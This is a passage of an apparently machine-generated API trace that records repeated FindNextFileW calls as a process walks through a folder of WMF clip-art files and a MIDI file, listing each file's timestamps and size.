ftCreationTime.dwLowDateTime=0xdb92d600, ftCreationTime.dwHighDateTime=0x1bd4b42, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb92d600, ftLastWriteTime.dwHighDateTime=0x1bd4b42, nFileSizeHigh=0x0, nFileSizeLow=0x8b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01015_.WMF", cAlternateFileName="")) returned 1 [0245.298] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x39e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01039_.WMF", cAlternateFileName="")) returned 1 [0245.298] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01138_.WMF", cAlternateFileName="")) returned 1 [0245.459] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe30, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01139_.WMF", cAlternateFileName="")) returned 1 [0245.459] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01140_.WMF", cAlternateFileName="")) returned 1 [0245.460] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x85c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01143_.WMF", cAlternateFileName="")) returned 1 [0245.460] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xadc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01145_.WMF", cAlternateFileName="")) returned 1 [0245.460] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01146_.WMF", cAlternateFileName="")) returned 1 [0245.460] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01151_.WMF", cAlternateFileName="")) returned 1 [0245.460] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01152_.WMF", cAlternateFileName="")) returned 1 [0245.460] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe04, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01157_.WMF", cAlternateFileName="")) returned 1 [0245.461] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01160_.WMF", cAlternateFileName="")) returned 1 [0245.461] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01162_.WMF", cAlternateFileName="")) returned 1 [0245.461] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01163_.WMF", cAlternateFileName="")) returned 1 [0245.461] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01166_.WMF", cAlternateFileName="")) returned 1 [0245.461] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01167_.WMF", cAlternateFileName="")) returned 1 [0245.461] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01168_.WMF", cAlternateFileName="")) returned 1 [0245.462] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01169_.WMF", cAlternateFileName="")) returned 1 [0245.462] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x964, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01170_.WMF", cAlternateFileName="")) returned 1 [0245.462] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01171_.WMF", cAlternateFileName="")) returned 1 [0245.462] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01172_.WMF", cAlternateFileName="")) returned 1 [0245.463] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x70c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01173_.WMF", cAlternateFileName="")) returned 1 [0245.463] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01176_.WMF", cAlternateFileName="")) returned 1 [0245.463] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01178_.WMF", cAlternateFileName="")) returned 1 [0245.463] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01179_.WMF", cAlternateFileName="")) returned 1 [0245.463] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x824, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01180_.WMF", cAlternateFileName="")) returned 1 [0245.464] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01181_.WMF", cAlternateFileName="")) returned 1 [0245.464] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01182_.WMF", cAlternateFileName="")) returned 1 [0245.464] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01183_.WMF", cAlternateFileName="")) returned 1 [0245.464] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9936cb00, ftCreationTime.dwHighDateTime=0x1bd4c0e, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9936cb00, ftLastWriteTime.dwHighDateTime=0x1bd4c0e, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01186_.WMF", cAlternateFileName="")) returned 1 [0245.464] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4fe9900, ftCreationTime.dwHighDateTime=0x1c7a766, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4fe9900, ftLastWriteTime.dwHighDateTime=0x1c7a766, nFileSizeHigh=0x0, nFileSizeLow=0x6e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01366_.WMF", cAlternateFileName="")) returned 1 [0245.464] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81594a00, ftCreationTime.dwHighDateTime=0x1bd4c02, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81594a00, ftLastWriteTime.dwHighDateTime=0x1bd4c02, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01434_.WMF", cAlternateFileName="")) returned 1 [0245.465] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55829800, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55829800, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x9dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01585_.WMF", cAlternateFileName="")) returned 1 [0245.465] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf93000, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4bf93000, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x914, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01586_.WMF", cAlternateFileName="")) returned 1 [0245.465] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf28f0200, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf28f0200, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x4a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01628_.WMF", cAlternateFileName="")) returned 1 [0245.465] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa241400, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa241400, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01629_.WMF", cAlternateFileName="")) returned 1 [0245.465] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef951100, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xef951100, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0x128, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01630_.WMF", cAlternateFileName="")) returned 1 [0245.631] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8660ce00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8660ce00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01631_.WMF", cAlternateFileName="")) returned 1 [0245.631] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1034, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01761_.WMF", cAlternateFileName="")) returned 1 [0245.631] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01772_.WMF", cAlternateFileName="")) returned 1 [0245.632] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01793_.WMF", cAlternateFileName="")) returned 1 [0245.632] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51e3fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1815, dwReserved0=0x0, dwReserved1=0x0, cFileName="EAST_01.MID", cAlternateFileName="")) returned 1 [0245.632] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd787d00, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x51f4a830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd787d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00010_.WMF", cAlternateFileName="")) returned 1 [0245.632] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a81c00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x51f4a830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2a81c00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x32f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00019_.WMF", cAlternateFileName="")) returned 1 [0245.632] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc465ee00, ftCreationTime.dwHighDateTime=0x1bd4bff, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc465ee00, ftLastWriteTime.dwHighDateTime=0x1bd4bff, nFileSizeHigh=0x0, nFileSizeLow=0xa8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00172_.WMF", cAlternateFileName="")) returned 1 [0245.633] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95cb3000, ftCreationTime.dwHighDateTime=0x1bd4c5e, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95cb3000, ftLastWriteTime.dwHighDateTime=0x1bd4c5e, nFileSizeHigh=0x0, nFileSizeLow=0x1b2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00184_.WMF", cAlternateFileName="")) returned 1 [0245.633] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d81900, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27d81900, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x3670, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00006_.WMF", cAlternateFileName="")) returned 1 [0245.633] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: 